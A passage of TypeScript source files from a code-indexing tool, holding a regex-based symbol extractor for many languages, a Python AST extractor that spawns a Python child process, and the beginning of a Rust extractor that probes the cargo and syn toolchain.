raw = JSON.parse(stdout.trim()) as Array<{\n name: string;\n kind: string;\n line: number;\n col: number;\n signature: string;\n scope: string;\n }>;\n const symbols: IndexSymbol[] = raw.map((s) => ({\n id: 0,\n lang,\n kind: s.kind as IndexSymbol['kind'],\n name: s.name,\n file: filePath,\n line: s.line,\n col: s.col,\n signature: s.signature ?? '',\n docComment: '',\n scope: s.scope ?? '',\n text: `${s.name} ${s.signature ?? ''}`.trim(),\n }));\n return { file: filePath, lang, symbols, mtimeMs: Date.now() };\n } catch {\n return { file: filePath, lang, symbols: [], mtimeMs: Date.now() };\n }\n}\n", "/**\n * Universal regex symbol extractor.\n *\n * Used for:\n * - languages without a first-class AST parser (Java, C++, Ruby, \u2026)\n * - fallback when a native toolchain is missing (Python without `python`,\n * Go without `go`, Rust without cargo/syn)\n *\n * Patterns are intentionally recall-oriented: better a few false positives\n * in the index than silently dropping whole packages from search/code-map.\n */\n\nimport type { FileSymbols, Symbol as IndexSymbol, SymbolKind, SymbolLang } from './schema.js';\n\ninterface ExtractPattern {\n /** Global regex; capture group 1 must be the symbol name. */\n re: RegExp;\n kind: SymbolKind;\n}\n\n/** Shared C-like declaration patterns (C/C++/Java/C#/\u2026 approximate). */\nconst C_LIKE: ExtractPattern[] = [\n { re: /\\b(?:class|struct|enum|interface|union)\\s+([A-Za-z_]\\w*)/g, kind: 'class' },\n {\n re: /\\b(?:public|private|protected|static|final|async|override|virtual|inline|export)?\\s*(?:[\\w:<>[\\]\\s*&]+)\\s+([A-Za-z_]\\w*)\\s*\\([^;{]*\\)\\s*(?:const)?\\s*[{;]/g,\n kind: 'function',\n },\n { re: /\\b(?:namespace)\\s+([A-Za-z_]\\w*)/g, kind: 'namespace' },\n];\n\nconst LANG_PATTERNS: Partial<Record<SymbolLang, ExtractPattern[]>> = {\n py: [\n { re: /^(?:async\\s+)?def\\s+([A-Za-z_]\\w*)/gm, kind: 'function' },\n { re: /^class\\s+([A-Za-z_]\\w*)/gm, kind: 'class' },\n { re: /^([A-Za-z_]\\w*)\\s*=/gm, kind: 'var' },\n ],\n go: [\n { re: /^func\\s+(?:\\([^)]*\\)\\s*)?([A-Za-z_]\\w*)\\s*\\(/gm, kind: 'function' },\n { re: /^type\\s+([A-Za-z_]\\w*)\\b/gm, kind: 'type' },\n { re: /^(?:const|var)\\s+([A-Za-z_]\\w*)\\b/gm, kind: 'const' },\n { re: /^package\\s+([A-Za-z_]\\w*)/gm, kind: 'namespace' },\n ],\n rs: [\n { re: /\\bfn\\s+([A-Za-z_]\\w*)/g, kind: 'function' },\n { re: /\\bstruct\\s+([A-Za-z_]\\w*)/g, kind: 'struct' },\n { re: /\\benum\\s+([A-Za-z_]\\w*)/g, kind: 'enum' },\n { re: /\\btrait\\s+([A-Za-z_]\\w*)/g, kind: 'trait' },\n { re: /\\bimpl(?:\\s*<[^>]+>)?\\s+([A-Za-z_]\\w*)/g, kind: 'impl' },\n { re: /\\b(?:const|static)\\s+([A-Za-z_]\\w*)/g, kind: 'const' },\n { re: /\\bmod\\s+([A-Za-z_]\\w*)/g, kind: 'mod' },\n ],\n c: C_LIKE,\n cpp: C_LIKE,\n java: [\n { re: /\\b(?:class|interface|enum|record)\\s+([A-Za-z_]\\w*)/g, kind: 'class' },\n {\n re: /\\b(?:public|private|protected|static|final|abstract|synchronized|native|default|\\s)+\\s*[\\w.<>,[\\]\\s]+\\s+([A-Za-z_]\\w*)\\s*\\(/g,\n kind: 'method',\n },\n ],\n csharp: [\n { re: /\\b(?:class|interface|struct|enum|record)\\s+([A-Za-z_]\\w*)/g, kind: 'class' },\n { re: /\\bnamespace\\s+([A-Za-z_.\\w]+)/g, kind: 'namespace' },\n {\n re: /\\b(?:public|private|protected|internal|static|async|override|virtual|\\s)+\\s*[\\w.<>,[\\]\\s]+\\s+([A-Za-z_]\\w*)\\s*\\(/g,\n kind: 'method',\n },\n ],\n php: [\n { re: /\\bfunction\\s+([A-Za-z_]\\w*)/g, kind: 'function' },\n { re: /\\bclass\\s+([A-Za-z_]\\w*)/g, kind: 'class' },\n { re: /\\binterface\\s+([A-Za-z_]\\w*)/g, kind: 'interface' },\n { re: /\\bnamespace\\s+([A-Za-z_\\\\]+)/g, kind: 'namespace' },\n ],\n ruby: [\n { re: /^\\s*def\\s+(?:self\\.)?([A-Za-z_]\\w*[!?]?)/gm, kind: 'function' },\n { re: /^\\s*class\\s+([A-Za-z_]\\w*)/gm, kind: 'class' },\n { re: /^\\s*module\\s+([A-Za-z_]\\w*)/gm, kind: 'namespace' },\n ],\n swift: [\n { re: /\\b(?:func)\\s+([A-Za-z_]\\w*)/g, kind: 'function' },\n { re: /\\b(?:class|struct|enum|protocol|actor)\\s+([A-Za-z_]\\w*)/g, kind: 'class' },\n ],\n kotlin: [\n { re: /\\b(?:fun)\\s+([A-Za-z_]\\w*)/g, kind: 'function' },\n { re: /\\b(?:class|interface|object|enum\\s+class|data\\s+class)\\s+([A-Za-z_]\\w*)/g, kind: 'class' },\n ],\n scala: [\n { re: /\\b(?:def)\\s+([A-Za-z_]\\w*)/g, kind: 'function' },\n { re: /\\b(?:class|object|trait|enum)\\s+([A-Za-z_]\\w*)/g, kind: 'class' },\n ],\n shell: [\n { re: /^(?:function\\s+)?([A-Za-z_]\\w*)\\s*\\(\\)\\s*\\{/gm, kind: 'function' },\n { re: /^([A-Za-z_][\\w]*)\\s*\\(\\)\\s*\\{/gm, kind: 'function' },\n ],\n sql: [\n { re: /\\bCREATE\\s+(?:OR\\s+REPLACE\\s+)?(?:TABLE|VIEW|INDEX|FUNCTION|PROCEDURE|TRIGGER)\\s+(?:IF\\s+NOT\\s+EXISTS\\s+)?([A-Za-z_\"][\\w.\"]*)/gi, kind: 'type' },\n ],\n md: [\n { re: /^(#{1,6})\\s+(.+)$/gm, kind: 'namespace' },\n ],\n toml: [\n { re: /^\\[([^\\]]+)\\]/gm, kind: 'namespace' },\n ],\n html: [\n { re: /\\bid\\s*=\\s*[\"']([^\"']+)[\"']/gi, kind: 'property' },\n { re: /<(?:script|template|style)\\b/gi, kind: 'namespace' },\n ],\n css: [\n { re: /^\\s*([.#]?[A-Za-z_][\\w-]*)\\s*\\{/gm, kind: 'type' },\n { re: /@(?:keyframes|media|supports)\\s+([^{\\s]+)/g, kind: 'namespace' },\n ],\n vue: [\n { re: /\\b(?:function|const|let|var|class|export\\s+(?:default\\s+)?(?:function|class|const))\\s+([A-Za-z_]\\w*)/g, kind: 'function' },\n { re: /<(?:script|template|style)\\b/gi, kind: 'namespace' },\n ],\n svelte: [\n { re: /\\b(?:function|const|let|var|class|export\\s+(?:default\\s+)?(?:function|class|const))\\s+([A-Za-z_]\\w*)/g, kind: 'function' },\n ],\n dart: [\n { re: /\\b(?:class|enum|mixin|extension)\\s+([A-Za-z_]\\w*)/g, kind: 'class' },\n { re: /\\b([A-Za-z_]\\w*)\\s*\\([^;]*\\)\\s*(?:async\\s*)?\\{/g, kind: 'function' },\n ],\n lua: [\n { re: /\\bfunction\\s+([A-Za-z_.:]\\w*)/g, kind: 'function' },\n { re: /\\blocal\\s+function\\s+([A-Za-z_]\\w*)/g, kind: 'function' },\n ],\n r: [\n { re: /([A-Za-z.]\\w*)\\s*<-\\s*function\\s*\\(/g, kind: 'function' },\n { re: /([A-Za-z.]\\w*)\\s*=\\s*function\\s*\\(/g, kind: 'function' },\n ],\n proto: [\n { re: /\\b(?:message|service|enum)\\s+([A-Za-z_]\\w*)/g, kind: 'type' },\n { re: /\\brpc\\s+([A-Za-z_]\\w*)/g, kind: 'function' },\n ],\n graphql: [\n { re: /\\b(?:type|interface|enum|input|union|scalar)\\s+([A-Za-z_]\\w*)/g, kind: 'type' },\n { re: /\\b(?:query|mutation|subscription)\\s+([A-Za-z_]\\w*)/g, kind: 'function' },\n ],\n zig: [\n { re: /\\b(?:fn|pub\\s+fn)\\s+([A-Za-z_]\\w*)/g, kind: 'function' },\n { re: /\\b(?:const|var)\\s+([A-Za-z_]\\w*)/g, kind: 'const' },\n { re: /\\b(?:struct|enum|union)\\s*\\{/g, kind: 'type' },\n ],\n elixir: [\n { re: /\\bdef(?:p|macro|macrop)?\\s+([A-Za-z_]\\w*[!?]?)/g, kind: 'function' },\n { re: /\\bdefmodule\\s+([A-Za-z_.]\\w*)/g, kind: 'namespace' },\n ],\n haskell: [\n { re: /^([A-Za-z_]\\w*)\\s*::/gm, kind: 'function' },\n { re: /\\bdata\\s+([A-Za-z_]\\w*)/g, kind: 'type' },\n { re: /\\btype\\s+(?:family\\s+)?([A-Za-z_]\\w*)/g, kind: 'type' },\n { re: /\\bclass\\s+([A-Za-z_]\\w*)/g, kind: 'class' },\n ],\n other: [\n { re: /^(?:export\\s+)?(?:async\\s+)?function\\s+([A-Za-z_]\\w*)/gm, kind: 'function' },\n { re: /^(?:export\\s+)?class\\s+([A-Za-z_]\\w*)/gm, kind: 'class' },\n { re: /^(?:export\\s+)?(?:const|let|var)\\s+([A-Za-z_]\\w*)/gm, kind: 'const' },\n { re: /^(?:async\\s+)?def\\s+([A-Za-z_]\\w*)/gm, kind: 'function' },\n { re: /^func\\s+(?:\\([^)]*\\)\\s*)?([A-Za-z_]\\w*)/gm, kind: 'function' },\n { re: /\\bfn\\s+([A-Za-z_]\\w*)/g, kind: 'function' },\n { re: /^(?:target|PHONY)\\s*:/gm, kind: 'namespace' },\n ],\n};\n\nconst KEYWORDS = new Set([\n 'if',\n 'else',\n 'for',\n 'while',\n 'switch',\n 'case',\n 'return',\n 'break',\n 'continue',\n 'new',\n 'delete',\n 'typeof',\n 'instanceof',\n 'void',\n 'null',\n 'true',\n 'false',\n 'this',\n 'super',\n 'import',\n 'export',\n 'from',\n 'as',\n 'default',\n 'public',\n 'private',\n 'protected',\n 'static',\n 'final',\n 'class',\n 'struct',\n 'enum',\n 'interface',\n 'function',\n 'def',\n 'fn',\n 'func',\n 'var',\n 'let',\n 'const',\n 'package',\n 'namespace',\n 'module',\n 'using',\n 'include',\n 'require',\n 'select',\n 'from',\n 'where',\n 'and',\n 'or',\n 'not',\n 'in',\n 'is',\n 'try',\n 'catch',\n 'finally',\n 'throw',\n 'async',\n 'await',\n 'yield',\n]);\n\nfunction patternsFor(lang: SymbolLang): ExtractPattern[] {\n return LANG_PATTERNS[lang] ?? LANG_PATTERNS.other ?? [];\n}\n\nfunction looksBinary(content: string): boolean {\n // NUL byte \u2192 almost certainly not source text\n if (content.includes('\\0')) return true;\n // High ratio of non-printable in the first 2KB\n const sample = content.slice(0, 2048);\n if (sample.length === 0) return false;\n let bad = 0;\n for (let i = 0; i < sample.length; i++) {\n const c = sample.charCodeAt(i);\n if (c === 9 || c === 10 || c === 13) continue;\n if (c < 32 || c === 127) bad++;\n }\n return bad / sample.length > 0.1;\n}\n\nfunction lineColAt(content: string, index: number): { line: number; col: number } {\n let line = 1;\n let lastNl = -1;\n for (let i = 0; i < index && i < content.length; i++) {\n if (content.charCodeAt(i) === 10) {\n line++;\n lastNl = i;\n }\n }\n return { line, col: index - lastNl };\n}\n\n/** Soft default: enough for normal sources without runaway regex on minified blobs. */\nexport const GENERIC_MAX_SYMBOLS_DEFAULT = 500;\n/** Only the leading window is scanned \u2014 huge generated files stay cheap. */\nexport const GENERIC_MAX_FILE_CHARS = 512 * 1024;\n\n/**\n * Extract symbols with language-tuned regexes. Never throws.\n * Caps results so pathological files cannot explode the index.\n */\nexport function parseGeneric(opts: {\n file: string;\n content: string;\n lang: SymbolLang;\n /** Soft cap per file (default {@link GENERIC_MAX_SYMBOLS_DEFAULT}). */\n maxSymbols?: number;\n}): FileSymbols {\n const { file, lang } = opts;\n const maxSymbols = opts.maxSymbols ?? GENERIC_MAX_SYMBOLS_DEFAULT;\n const mtimeMs = Date.now();\n\n if (!opts.content || looksBinary(opts.content)) {\n return { file, lang, symbols: [], mtimeMs };\n }\n // Bound CPU: never regex-scan multi-MB blobs in full.\n const content =\n opts.content.length > GENERIC_MAX_FILE_CHARS\n ? opts.content.slice(0, GENERIC_MAX_FILE_CHARS)\n : opts.content;\n\n const patterns = patternsFor(lang);\n const symbols: IndexSymbol[] = [];\n const seen = new Set<string>();\n\n for (const pattern of patterns) {\n // Clone flags so lastIndex never leaks across files.\n const re = new RegExp(pattern.re.source, pattern.re.flags.includes('g') ? pattern.re.flags : `${pattern.re.flags}g`);\n re.lastIndex = 0;\n for (const match of content.matchAll(re)) {\n if (symbols.length >= maxSymbols) break;\n\n let name = (match[1] ?? match[2] ?? '').trim();\n // Markdown headings put the title in group 2\n if (lang === 'md' && match[2]) name = match[2].trim();\n if (!name || name.length > 200) continue;\n // Strip markdown heading markers accidentally captured\n name = name.replace(/^#+\\s*/, '').replace(/[\"'`]/g, '');\n if (!name || KEYWORDS.has(name.toLowerCase())) continue;\n // Reject pure punctuation / numbers\n if (!/^[A-Za-z_#.@/\\w][\\w.\\-:/#!?]*$/.test(name) && lang !== 'md' && lang !== 'toml') {\n continue;\n }\n\n const { line, col } = lineColAt(content, match.index);\n const key = `${name}\\0${line}\\0${pattern.kind}`;\n if (seen.has(key)) continue;\n seen.add(key);\n\n const nl = content.indexOf('\\n', match.index);\n const lineText = content.slice(match.index, nl === -1 ? content.length : nl);\n const signature = (lineText || name).trim().slice(0, 500);\n\n symbols.push({\n id: 0,\n lang,\n kind: lang === 'md' ? 'namespace' : pattern.kind,\n name: name.slice(0, 200),\n file,\n line,\n col,\n signature,\n docComment: '',\n scope: '',\n text: `${name} ${signature}`.trim().slice(0, 1000),\n });\n }\n if (symbols.length >= maxSymbols) break;\n }\n\n return { file, lang, symbols, mtimeMs };\n}\n\n/** Async wrapper matching other parser entrypoints. */\nexport async function parseSymbols(opts: {\n file: string;\n content: string;\n lang: SymbolLang;\n}): Promise<FileSymbols> {\n return parseGeneric(opts);\n}\n", "/**\n * Python source symbol extraction using the `ast` module.\n *\n * Spawns a `python -c` child process that parses the file with Python's `ast`\n * module and emits JSON. Falls back to empty results on any error.\n *\n * Extracts: class, function, async function, const, var, import, import_from\n */\n\nimport { spawn, type ChildProcess } from 'node:child_process';\nimport * as fs from 'node:fs/promises';\nimport * as os from 'node:os';\nimport * as path from 'node:path';\nimport { resolveWin32Command } from '../_win32-resolve.js';\nimport type { FileSymbols, Symbol as IndexSymbol, SymbolLang } from './schema.js';\nimport { parseGeneric } from './generic-parser.js';\nimport { withSpawnGate } from './spawn-gate.js';\n\n// \u2500\u2500\u2500 Public API \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n/**\n * Prefer Python's `ast` when a runtime is available. When Python is missing\n * or the spawn fails, fall back to the generic regex extractor so `.py` files\n * still enter the index instead of being silently empty.\n *\n * Syntax errors from a working Python still return zero symbols (ast cannot\n * recover) \u2014 that is intentional correctness, not a gap in coverage.\n */\nexport async function parseSymbols(opts: {\n file: string;\n content: string;\n lang: SymbolLang;\n}): Promise<FileSymbols> {\n const { file, content, lang } = opts;\n\n try {\n // Serialize python child processes process-wide (CPU/spawn cimrili\u011Fi).\n const native = await withSpawnGate(() => syncPyParse(file, content, lang));\n if (native !== null) return native;\n } catch {\n /* fall through to generic */\n }\n return parseGeneric({ file, content, lang: lang === 'py' ? 'py' : lang });\n}\n\nexport { detectLang } from './languages.js';\n\n// \u2500\u2500\u2500 Inline Python parser script \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nconst PY_PARSE_SCRIPT = `import ast, json, sys, os\n\ndef get_name(node):\n if isinstance(node, ast.Name):\n return node.id\n elif isinstance(node, ast.Attribute):\n return get_name(node.value) + \".\" + node.attr\n elif isinstance(node, ast.Subscript):\n return get_name(node.value)\n elif isinstance(node, ast.Call):\n return get_name(node.func)\n elif isinstance(node, ast.Constant):\n return str(node.value)\n return \"\"\n\ndef get_decorators(node):\n decs = []\n for dec in node.decorator_list:\n decs.append(get_name(dec))\n return decs\n\ndef get_bases(node):\n bases = []\n for base in node.bases:\n bases.append(get_name(base))\n return bases\n\ndef get_args(args):\n parts = []\n for arg in args.args:\n parts.append(arg.arg)\n return \", \".join(parts)\n\ndef get_returns(node):\n if node.returns is None:\n return \"\"\n return get_name(node.returns)\n\nclass Sym:\n def __init__(self, name, kind, line, col, signature, scope):\n self.name = name\n self.kind = kind\n self.line = line\n self.col = col\n self.signature = signature\n self.scope = scope\n def to_dict(self):\n return {\n \"name\": self.name,\n \"kind\": self.kind,\n \"line\": self.line,\n \"col\": self.col,\n \"signature\": self.signature,\n \"scope\": self.scope,\n }\n\ndef is_private(name):\n return name.startswith(\"__\") and not name.endswith(\"__\")\n\nsyms = []\nerrors = []\n\ntry:\n source = sys.stdin.read()\n tree = ast.parse(source, filename=sys.argv[1])\nexcept Exception as e:\n errors.append(str(e))\n print(\"[]\")\n sys.exit(0)\n\n# Module-level scope\nmodule_scope = os.path.basename(sys.argv[1])[:-3] # strip .py\n\nclass ModuleVisitor(ast.NodeVisitor):\n def __init__(self):\n self.scope_stack = [module_scope]\n\n def visit_ClassDef(self, node):\n bases = get_bases(node)\n decs = get_decorators(node)\n sig = \"class \" + node.name\n if bases:\n sig += \"(\" + \", \".join(bases) + \")\"\n sig += \": ...\"\n syms.append(Sym(\n name=node.name,\n kind=\"class\",\n line=node.lineno,\n col=node.col_offset,\n signature=sig,\n scope=\".\".join(self.scope_stack) + \".\" + node.name,\n ))\n self.scope_stack.append(node.name)\n self.generic_visit(node)\n self.scope_stack.pop()\n\n def visit_FunctionDef(self, node):\n decs = get_decorators(node)\n args = get_args(node.args)\n returns = get_returns(node)\n is_async = isinstance(node, ast.AsyncFunctionDef)\n\n kind = \"function\"\n prefix = \"def \"\n if decs:\n for d in decs:\n if d.endswith(\".staticmethod\"):\n kind = \"staticmethod\"\n elif d.endswith(\".classmethod\"):\n kind = \"classmethod\"\n elif d == \"property\":\n kind = \"property\"\n\n if is_async:\n kind = \"async_\" + kind\n\n sig = f\"{prefix}{node.name}({args})\"\n if returns:\n sig += f\" -> {returns}\"\n scope = \".\".join(self.scope_stack) + \".\" + node.name\n\n syms.append(Sym(\n name=node.name,\n kind=kind,\n line=node.lineno,\n col=node.col_offset,\n signature=sig,\n scope=scope,\n ))\n # Don't descend into function bodies to avoid local symbols\n # self.generic_visit(node)\n\n def visit_AsyncFunctionDef(self, node):\n # Treat as function\n self.visit_FunctionDef(node)\n\n def visit_Assign(self, node):\n for target in node.targets:\n if isinstance(target, ast.Name):\n name = target.id\n if is_private(name):\n continue\n # Infer constness from UPPER_CASE naming\n kind = \"const\" if name.isupper() else \"var\"\n col = target.col_offset if hasattr(target, 'col_offset') else 0\n syms.append(Sym(\n name=name,\n kind=kind,\n line=node.lineno,\n col=col,\n signature=f\"{name} = ...\",\n scope=\".\".join(self.scope_stack),\n ))\n\n def visit_AnnAssign(self, node):\n if isinstance(node.target, ast.Name):\n name = node.target.id\n if is_private(name):\n return\n kind = \"const\" if name.isupper() else \"var\"\n col = node.target.col_offset if hasattr(node.target, 'col_offset') else 0\n sig = f\"{name}: {get_name(node.annotation)}\"\n if node.value:\n sig += \" = ...\"\n syms.append(Sym(\n name=name,\n kind=kind,\n line=node.lineno,\n col=col,\n signature=sig,\n scope=\".\".join(self.scope_stack),\n ))\n\n def visit_Import(self, node):\n for alias in node.names:\n name = alias.asname or alias.name\n syms.append(Sym(\n name=name,\n kind=\"import\",\n line=node.lineno,\n col=node.col_offset,\n signature=f\"import {alias.name}\",\n scope=\".\".join(self.scope_stack),\n ))\n\n def visit_ImportFrom(self, node):\n module = node.module or \"\"\n for alias in node.names:\n name = alias.asname or alias.name\n syms.append(Sym(\n name=name,\n kind=\"import\",\n line=node.lineno,\n col=node.col_offset,\n signature=f\"from {module} import {alias.name}\",\n scope=\".\".join(self.scope_stack),\n ))\n\nvisitor = ModuleVisitor()\nvisitor.visit(tree)\n\nprint(json.dumps([s.to_dict() for s in syms]))\n`;\n\n// \u2500\u2500\u2500 Synchronous Python parse via child process \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n/**\n * Cross-platform Python binary resolver.\n *\n * Windows: walks PATHEXT via `resolveWin32Command` (handles .exe/.cmd/.bat).\n * A match means a real file on disk \u2014 return it immediately.\n * macOS / Linux: `resolveWin32Command` is a pass-through. We asynchronously\n * verify each candidate with `--version`, cached for the process lifetime.\n *\n * Candidates in priority order:\n * Windows: python3 \u2192 python \u2192 py (Python launcher)\n * Unix: python3 \u2192 python\n */\nasync function resolvePython(): Promise<string | null> {\n\tconst candidates = process.platform === 'win32'\n\t\t? ['python3', 'python', 'py']\n\t\t: ['python3', 'python'];\n\tfor (const name of candidates) {\n\t\tconst resolved = resolveWin32Command(name);\n\t\t// On Windows: verify even if resolveWin32Command found a\n\t\t// file \u2014 the WindowsApps redirector stub (python3.exe) passes the\n\t\t// accessSync check but exits with code 9009 (app not found).\n\t\tif (!(await commandIsAvailable(resolved))) continue;\n\t\treturn resolved;\n\t}\n\treturn null;\n}\n\nfunction commandIsAvailable(command: string): Promise<boolean> {\n\treturn new Promise((resolve) => {\n\t\tlet settled = false;\n\t\tconst proc = spawn(command, ['--version'], {\n\t\t\tstdio: 'ignore',\n\t\t\twindowsHide: true,\n\t\t});\n\t\tconst finish = (available: boolean) => {\n\t\t\tif (settled) return;\n\t\t\tsettled = true;\n\t\t\tclearTimeout(timer);\n\t\t\tresolve(available);\n\t\t};\n\t\tconst timer = setTimeout(() => {\n\t\t\tproc.kill('SIGKILL');\n\t\t\tfinish(false);\n\t\t}, 5_000);\n\t\ttimer.unref?.();\n\t\tproc.once('error', () => finish(false));\n\t\tproc.once('close', (code) => finish(code === 0));\n\t});\n}\n\n/**\n * Spawn the Python parser child process with proper error handling.\n *\n * Returns a promise that resolves to { code, stdout } or rejects with an\n * Error (ENOENT, timeout, spawn error) that the caller converts to empty\n * results. The 'error' event listener is critical: without it, a spawn\n * ENOENT on Windows crashes as an unhandled exception because\n * ChildProcess emits 'error' asynchronously and the Promise.race only\n * listens on 'close'.\n */\nfunction spawnPyParser(\n\tpyBinary: string,\n\tscriptPath: string,\n\tfilePath: string,\n\tcontent: string,\n): Promise<{ code: number | null; stdout: string }> {\n\treturn new Promise((resolve, reject) => {\n\t\tlet settled = false;\n\n\t\tconst proc: ChildProcess = spawn(pyBinary, [scriptPath, filePath], {\n\t\t\tstdio: ['pipe', 'pipe', 'pipe'],\n\t\t\twindowsHide: true,\n\t\t});\n\n\t\t// Mandatory: catch ENOENT / permission-denied / spawn failures.\n\t\tproc.on('error', (err) => {\n\t\t\tif (settled) return;\n\t\t\tsettled = true;\n\t\t\treject(err);\n\t\t});\n\n\t\t// Write source content via stdin so the child doesn't reopen the file.\n\t\tproc.stdin?.write(content);\n\t\tproc.stdin?.end();\n\n\t\tlet stdout = '';\n\t\tproc.stdout?.on('data', (chunk: Buffer) => { stdout += chunk.toString(); });\n\n\t\t// Discard stderr to avoid backpressure deadlocks when Python emits\n\t\t// warnings (e.g. deprecation notices).\n\t\tproc.stderr?.resume();\n\n\t\tconst timer = setTimeout(() => {\n\t\t\tif (settled) return;\n\t\t\tsettled = true;\n\t\t\tproc.kill('SIGKILL');\n\t\t\treject(new Error('timeout'));\n\t\t}, 15_000);\n\t\ttimer.unref?.();\n\n\t\tproc.on('close', (code) => {\n\t\t\tif (settled) return;\n\t\t\tsettled = true;\n\t\t\tclearTimeout(timer);\n\t\t\tresolve({ code, stdout });\n\t\t});\n\t});\n}\n\n// Cache the temp script path + resolved Python binary so we don't rewrite\n// or re-resolve on every file.\nlet _cachedScriptPath: string | null = null;\nlet cachedPyBinary: Promise<string | null> | undefined;\n\n/**\n * Run the real Python AST parser.\n * - `null` \u2192 Python unavailable / spawn failed \u2192 caller should use generic fallback\n * - `FileSymbols` \u2192 Python ran (even if the file was invalid \u2192 empty symbols)\n */\nasync function syncPyParse(\n\tfilePath: string,\n\tcontent: string,\n\tlang: SymbolLang,\n): Promise<FileSymbols | null> {\n\ttry {\n\t\t// Write the parser script once per process \u2014 not per file.\n\t\t// Passing the whole 200-line program via `python -c \"...\"` breaks\n\t\t// under cmd.exe on Windows (embedded newlines truncate the command).\n\t\t// A real file sidesteps all quoting and can be reused across calls.\n\t\tif (!_cachedScriptPath) {\n\t\t\tconst tmpDir = path.join(os.tmpdir(), 'ws-py-parse');\n\t\t\tawait fs.mkdir(tmpDir, { recursive: true });\n\t\t\t_cachedScriptPath = path.join(tmpDir, 'parse.py');\n\t\t\tawait fs.writeFile(_cachedScriptPath, PY_PARSE_SCRIPT, 'utf8');\n\t\t}\n\n\t\t// Resolve Python binary once (expensive: walks PATH on Windows).\n\t\tcachedPyBinary ??= resolvePython();\n\t\tconst pyBinary = await cachedPyBinary;\n\t\tif (!pyBinary) return null;\n\n\t\t// argv-array form: no shell, so a hostile filename cannot inject commands.\n\t\t// Content is piped via stdin \u2014 avoids a second file read in the child.\n\t\tconst { code, stdout } = await spawnPyParser(\n\t\t\tpyBinary,\n\t\t\t_cachedScriptPath,\n\t\t\tfilePath,\n\t\t\tcontent,\n\t\t);\n\n\t\tif (code !== 0 || !stdout.trim()) {\n\t\t\t// Python ran but AST parse failed (syntax error) \u2014 empty, not fallback.\n\t\t\treturn { file: filePath, lang, symbols: [], mtimeMs: Date.now() };\n\t\t}\n\n\t\tconst raw = JSON.parse(stdout.trim()) as Array<{\n\t\t\tname: string;\n\t\t\tkind: string;\n\t\t\tline: number;\n\t\t\tcol: number;\n\t\t\tsignature: string;\n\t\t\tscope: string;\n\t\t}>;\n\t\tconst symbols: IndexSymbol[] = raw.map((s) => ({\n\t\t\tid: 0,\n\t\t\tlang,\n\t\t\tkind: s.kind as IndexSymbol['kind'],\n\t\t\tname: s.name,\n\t\t\tfile: filePath,\n\t\t\tline: s.line,\n\t\t\tcol: s.col,\n\t\t\tsignature: s.signature ?? '',\n\t\t\tdocComment: '',\n\t\t\tscope: s.scope ?? '',\n\t\t\ttext: `${s.name} ${s.signature ?? ''}`.trim(),\n\t\t}));\n\t\treturn { file: filePath, lang, symbols, mtimeMs: Date.now() };\n\t} catch {\n\t\t// Spawn/IO failure \u2192 generic fallback.\n\t\treturn null;\n\t}\n}\n", "import { expectDefined } from '@wrongstack/core/utils';\n/**\n * Rust source symbol extraction.\n *\n * Tries to use the native `syn` crate via a cargo subproject (tools/syn-parser/).\n * Falls back to a robust regex-based extractor when cargo/syn is not available.\n *\n * The regex fallback extracts: fn, struct, enum, trait, impl, type, const, static, mod\n */\n\nimport { execFile, spawn, type ChildProcessWithoutNullStreams } from 'node:child_process';\nimport * as fs from 'node:fs/promises';\nimport * as path from 'node:path';\nimport { resolveWin32Command } from '../_win32-resolve.js';\nimport type { FileSymbols, Symbol as IndexSymbol, SymbolLang } from './schema.js';\nimport { withSpawnGate } from './spawn-gate.js';\n// \u2500\u2500\u2500 Public API \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nexport async function parseSymbols(opts: {\n file: string;\n content: string;\n lang: SymbolLang;\n}): Promise<FileSymbols> {\n const { file, content, lang } = opts;\n\n // Try native parser first, fall back to regex\n const nativeAvailable = await checkNativeParser();\n if (nativeAvailable) {\n const result = await withSpawnGate(() => tryNativeParse(file, content));\n if (result) return result;\n }\n\n return regexParse({ file, content, lang });\n}\n\nexport { detectLang } from './languages.js';\n\n// \u2500\u2500\u2500 Native parser (syn) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n// Cache the native-parser availability check so we don't spawn `rustc` and\n// `cargo metadata` on every file. The result is constant for the process\n// lifetime \u2014 the toolchain either exists or it doesn't.\nlet nativeParserAvailability: Promise<boolean> | undefined;\n\nfunction probe(command: string, args: string[]): Promise<void> {\n return new Promise((resolve, reject) => {\n execFile(command, args, { timeout: 10_000, windowsHide: true }, (error) => {\n if (error) reject(error);\n else resolve();\n });\n });\n}\n\nfunction checkNativeParser(): Promise<boolean> {\n nativeParserAvailability ??= (async () => {\n try {\n await probe('rustc', ['--version']);\n // Check if our syn-parser crate is available. argv-array form (no shell)\n // so a cwd path containing spaces or shell metacharacters can't break out.\n const toolsDir = path.join(process.cwd(), 'tools');\n await probe(\n 'cargo',\n [\n 